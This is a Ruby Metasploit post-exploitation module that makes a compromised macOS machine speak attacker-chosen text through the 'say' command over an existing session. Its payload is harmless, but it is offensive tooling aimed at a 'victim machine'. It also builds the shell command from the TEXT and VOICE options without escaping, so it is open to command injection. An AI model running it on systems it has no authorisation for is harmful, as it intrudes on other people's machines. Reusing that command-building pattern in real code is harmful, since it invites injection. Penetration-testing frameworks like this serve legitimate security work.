OS X Text to Speech Utility

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OS X Text to Speech Utility',
        'Description' => %q{
          This module will speak whatever is in the 'TEXT' option on the victim machine.
        },
        'References' => [
          ['URL', 'http://www.gabrielserafini.com/blog/2008/08/19/mac-os-x-voices-for-using-with-the-say-command/']
        ],
        'License' => MSF_LICENSE,
        'Author' => [ 'sinn3r'],
        'Platform' => [ 'osx' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ]
      )
    )

    register_options(
      [
        OptString.new('TEXT', [true, 'The text to say', "meta-sploit\!"]),
        OptString.new('VOICE', [true, 'The voice to use', 'alex'])
      ]
    )
  end

  def exec(cmd)
    tries = 0
    begin
      out = cmd_exec(cmd).chomp
    rescue ::Timeout::Error => e
      tries += 1
      if tries < 3
        vprint_error("#{@peer} - #{e.message} - retrying...")
        retry
      end
    rescue EOFError => e
      tries += 1
      if tries < 3
        vprint_error("#{@peer} - #{e.message} - retrying...")
        retry
      end
    end
  end

  def run
    txt = datastore['TEXT']
    voice = datastore['VOICE']

    # Say the text
    out = cmd_exec("say -v \"#{voice}\" \"#{txt}\"")
    if out =~ /command not found/
      print_error("The remote machine does not have the \'say\' command")
    elsif !out.empty?
      print_status(out)
    end
  end
end